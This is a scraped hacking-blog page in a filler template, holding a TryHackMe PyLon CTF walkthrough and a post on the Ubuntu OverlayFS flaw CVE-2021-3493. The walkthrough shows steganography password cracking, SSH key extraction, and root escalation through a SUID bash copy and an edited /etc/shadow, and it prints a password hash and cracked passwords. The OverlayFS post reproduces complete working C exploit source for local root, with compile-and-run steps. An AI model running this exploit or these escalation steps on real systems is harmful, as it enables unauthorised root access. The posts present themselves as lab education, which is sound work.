-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

  • TryHackMe PyLon walkthrough

     

     


     

     

     

    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    TryHackMe PyLon walkthrough


    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.
      

     

    Good day hacker, Spend more time in the CLI as much as you can, For that’s where we belong. Can you penetrate the defenses and become root?TryHackMe PyLon walkthrough


    In Task 1 first of all we will download the file provieded, and the name is pepper.jpg  ( JPG ) ( Yaa MaN we will download the photo of this doggie!!! )





    Are we going to use NMAP tool, maybe nops, we use a exiftool because we already steghide tool but doesn't have any clue. so, A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types.



    For More Info steghide, zsteg, exiftool, stegoveritas, sonic-visualiser -- CLICK HERE

     


    exiftool jpg

     

     


     

     

    https://gchq.github.io/CyberChef/#recipe=To_Hex('None',0)To_Base85('!-u',false)

     

    so, as you can see we have some clue (link) which we will use later.

     

     


     

     

    so as i told you, we must have a password for use steghide tool, (maybe i am saying right now hahahahh whats matter!!! )

     

    Let's move forward

     

     


     

    For take a password, we will use stegbrute tool.

     

    Crack Password

     

     
    sudo wget https://github.com/R4yGM/stegbrute/releases/download/0.1.1/stegbrute

    sudo chmod +x stegbrute

    sudo mv stegbrute /usr/local/bin/

     



    Yaa man!! tool successfully installed, as you can see...lets naacho!!!






    Cracking Time


    stegbrute -f jpg -w /home/hackerboy/Documents/rockyou.txt

    and the password is: pepper

     

     

     


     

     

    Now we will use steghide tool to extract a file and check what is the things that inside the file...

     

    steghide extract -sf jpg

     

    Oh! wrote extracted data to "lone"

     

     

     


     

    lets check whats inside the data...

     

    cat lone   🐈🐯🐱😸🐈🐯🐱😸

     

     
    This SSH key is unencrypted and will allow us to connect to the machine.





    Next, we will convert lone(ASCII Text) into tzip


    ls

    file lone (check a file type)

    base64 -d lone > lone.decoded

    sudo cp lone.decoded lone.tgz (for copy into new file)

    file lone.tgz

    sudo tar -xcf lone.tgz (for extract)


    Finally we got a lone_id, which we will use later with SSH






     

     

     

    Next step is port mapping, using nmap, rustscan, whatever, reveals the following TCP ports open


    sudo nmap -A -T4 -Pn -sV  $IP


     


     

     

     

    Now, we access SSH with using lone_id and port number 222 because its doesn't work with port 22

     

    ssh lone@10.10.60.44 -i lone_id -p222

     

     

     


     

     

    We are presented with this screen.

    This is where the CyberChefrecipe will probably come in to play.

    If you are good at guessing, it will be the same password as the stegfile, so let’s try that



    https://gchq.github.io/CyberChef/#recipe=To_Hex('None',0)To_Base85('!-u',false)



     

     

     
     
     
     



     

     

     


    Selecting 1 we are given 2 options


     

     


     

     

     


     

     

     We now have flag1 and a password, so let’s try those on port 22.



     


     

     

    ssh lone@10.10.106.221

     

     

     


     

     

     
    We also have a couple more interesting file’s / folders to look at, one being a file encrypted with gpg the other being a folder with the sources for the password manager and a .git folder.



     

     


     



     
    let's check history  



    git log 








    Nothing immediately obvious pops up in the pylon folder, so let’s see if there are any files in a previous commit that may help us.






     

    We can see some files have changed here and an interesting .db file appears.


    Running the pyLon_pwMan.py with python3, the program informs us that the database file exists and prompts us for the encryption key, now if you are a good guess, you will try the same encryption key as before.






    We can see some files have changed here and an interesting .db file appears.-Running the 

     

    pyLon_pwMan.py with python3

     

    The program informs us that the database file exists and prompts us for the encryption key, now if you are a good guess, you will try the same encryption key as before.






    select option 2






    and then 1







    we got a another password









    Decrypting the ‘note_from_pood.gpg’ file gives us the password to shift horizontally to another user, but first let’s see what lone can do with sudo.



    gpg -d note_from_pood.gpg


    and now we got another(another) password







    sudo -l



    Interesting we can run openvpn as root, but only using a specific config file, poodhas asked us to fix the config and has given us access to his account, so let’s switch to him





    su pood 

    and the password is -



     


      

     

    sudo -l

     




    Now we have user2 flag, and we can see that pood can edit the openvpn config file that lone was allowed to run, so what now?


     

     







    Reading the man page for openvpn we see that we can run a script on successful connection to a VPN server, so lets write a script to take control of the machine.



    man openvpn





    This one...








    There are many ways to do this, butthe usual trick of copying /bin/bash to /tmp and setting the binary SUID should do the job, I knock up a quick shell script.



    vi /tmp/up.sh


    For add a word type -i

    for exit and save escape and then :wq and enter. thats it.


     

    then, we give some permission


    chmod 777 /tmp/up.sh

     

    Don’t forget to make it executable, now we must edit the config file.


    sudoedit /opt/openvpn/client.ovpn



















    Add a couple of lines to the config and save, now exit out of the su shell and go back to lone, connect to the openvpn server and our script should run as root on successful connection.











    The connection was successful so let’s disconnect and check out /tmp/bash



    cd /tmp

     





    As expected, the binary was created, we can now escalate to root.

     

     








    Great another gpgencrypted file, I can see a lot of people tearing their hair out over this one, since we are only effectively root we cannot decrypt his message, so we will need a proper shell.


    gpg -d root.txt.gpg






    The way I dealt with that was to edit /etc/shadow, I copied a known hash into root’s position and then all we can su to root, in this case I just copy pasted pood’s hash as it is already known and easy to grab











    $6$ivWUkR1k$XnYAc7OJJ63P/lgYzNWLiFMydrOFP/qrARMNcjHX1H4sIGFEyVQKAOedWLDY2nHU8rxx7hABmr4JT3uM74Bm5.


    you can go this way too because pylon is in the sudo group





    su


    yn0ouE9JLR3h)`=I

     




    FINALLY, we got a flag (root flag)







    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     

  • Overlayfs CVE-2021-3493 Ubuntu OS Vulnerability

     


     

    In this Blog article we will talk and practical about OverlayFS. If you are using ubuntu linux so in such a situation, you need to be cautious. Because in the same year 2021, a security researcher has discovered a vulnerabilty inside ubuntu OS, from with the help of any attacker can take root privileges escalation of your Ubuntu OS.

     

    Basically OverlayFS is a linux kernel module that allows in the system to combine several mounts points into one, so that you can access all the files from each within one directory structure. Overlayfs CVE-2021-3493 Ubuntu OS Vulnerability

    One use is having a read only root file system, and another parition "overlayed" with that to allow applications to write to a temporary the file system 

     

    An Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts.



    CVE


    CVE-2021-3493



    Full Credit


    An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

     




     

    About the vuln


    Recently, SSD-Disclosure released a proof of concept (and a great explanation) for an Ubuntu kernel exploit (https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/).


    This vulnerability is particularly serious, as overlayfs is a kernel module that is installed by default on Ubuntu 1804 Server.
     

    If the system is vulnerable, you can very easily escalate from any user to root, as long as you can run a binary.
     

    If there isn't a C compiler installed on the machine, you can compile the binary statically elsewhere and copy just the binary over.



    Affected Versions


    • Ubuntu 20.10
    • Ubuntu 20.04 LTS
    • Ubuntu 18.04 LTS
    • Ubuntu 16.04 LTS
    • Ubuntu 14.04 ESM

     

     

    Practical

     

    So first of all we will copy the exploitation code which is written in the C programming language but before we will run/access Ubuntu OS via SSH.



    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <err.h>
    #include <errno.h>
    #include <sched.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/wait.h>
    #include <sys/mount.h>

    //#include <attr/xattr.h>
    //#include <sys/xattr.h>

    int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


    #define DIR_BASE    "./ovlcap"
    #define DIR_WORK    DIR_BASE "/work"
    #define DIR_LOWER   DIR_BASE "/lower"
    #define DIR_UPPER   DIR_BASE "/upper"
    #define DIR_MERGE   DIR_BASE "/merge"
    #define BIN_MERGE   DIR_MERGE "/magic"
    #define BIN_UPPER   DIR_UPPER "/magic"


    static void xmkdir(const char *path, mode_t mode)
    {
        if (mkdir(path, mode) == -1 && errno != EEXIST)
            err(1, "mkdir %s", path);
    }

    static void xwritefile(const char *path, const char *data)
    {
        int fd = open(path, O_WRONLY);
        if (fd == -1)
            err(1, "open %s", path);
        ssize_t len = (ssize_t) strlen(data);
        if (write(fd, data, len) != len)
            err(1, "write %s", path);
        close(fd);
    }

    static void xcopyfile(const char *src, const char *dst, mode_t mode)
    {
        int fi, fo;

        if ((fi = open(src, O_RDONLY)) == -1)
            err(1, "open %s", src);
        if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
            err(1, "open %s", dst);

        char buf[4096];
        ssize_t rd, wr;

        for (;;) {
            rd = read(fi, buf, sizeof(buf));
            if (rd == 0) {
                break;
            } else if (rd == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "read %s", src);
            }

            char *p = buf;
            while (rd > 0) {
                wr = write(fo, p, rd);
                if (wr == -1) {
                    if (errno == EINTR)
                        continue;
                    err(1, "write %s", dst);
                }
                p += wr;
                rd -= wr;
            }
        }

        close(fi);
        close(fo);
    }

    static int exploit()
    {
        char buf[4096];

        sprintf(buf, "rm -rf '%s/'", DIR_BASE);
        system(buf);

        xmkdir(DIR_BASE, 0777);
        xmkdir(DIR_WORK,  0777);
        xmkdir(DIR_LOWER, 0777);
        xmkdir(DIR_UPPER, 0777);
        xmkdir(DIR_MERGE, 0777);

        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
            err(1, "unshare");

        xwritefile("/proc/self/setgroups", "deny");

        sprintf(buf, "0 %d 1", uid);
        xwritefile("/proc/self/uid_map", buf);

        sprintf(buf, "0 %d 1", gid);
        xwritefile("/proc/self/gid_map", buf);

        sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
        if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
            err(1, "mount %s", DIR_MERGE);

        // all+ep
        char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

        xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
        if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
            err(1, "setxattr %s", BIN_MERGE);

        return 0;
    }

    int main(int argc, char *argv[])
    {
        if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
            setuid(0);
            setgid(0);
            execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
            err(1, "execl /bin/bash");
        }

        pid_t child = fork();
        if (child == -1)
            err(1, "fork");

        if (child == 0) {
            _exit(exploit());
        } else {
            waitpid(child, NULL, 0);
        }

        execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
        err(1, "execl %s", BIN_UPPER);
    }






    ssh overlay@10.10.7.43

     

     





    After accessing the ubuntu OS, as you can see this OS is vulnerable and the OS's version is 18.04.4 LTS 

     

     







    So let's write the code thats mean copy/paste ("hahahhahh!") with creating a new file called exploit.c and paste the code( see above) (because this is written in c programming language)





    For save and exit a file -

    ctrl + o  (for save)

    ctrl + x  (for exit)





    Compile the exploit with gcc. If you're finding this difficult, don't worry I am here...

    gcc -o exploit exploit.c



    -o (for output and compilation file)





    as you can here, a compilation file has been created here and then run


    ./exploit and become a root user without any password (vola!)





    Finally we are root user!!

    Uff! where did this flag come from here. Don't worry you can do this practical yourself on TryHackMe website for FREE!!

     

    Room is Here :-  https://tryhackme.com/room/overlayfs






    And if i use "sudo su", i need a password to access the root user... so, as you can see, it is asking us for a password.








    How to patch?


    So , first of all we will update our ubuntu OS and install linux-image..


    sudo apt update





    sudo apt install linux-image-5.6.0-1055-oem





    Further reading


    Want to know more about OverlayFS?

    https://yagrebu.net/unix/rpi-overlay.md - Read only root file system with overlayfs to allow applications to run normally.

    https://wiki.archlinux.org/index.php/Overlay_filesystem - The Arch Wiki's page on OverlayFS (I don't use Arch BTW)
     

     

    Want to know more about this specific CVE?


    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3493 - Mitre's CVE entry for this vulnerability, which includes many further links.

    https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/ - This is where we got the PoC code, and it explains the vulnerability very well.

     

     

     

     


    Disclaimer

     

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)


     

  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.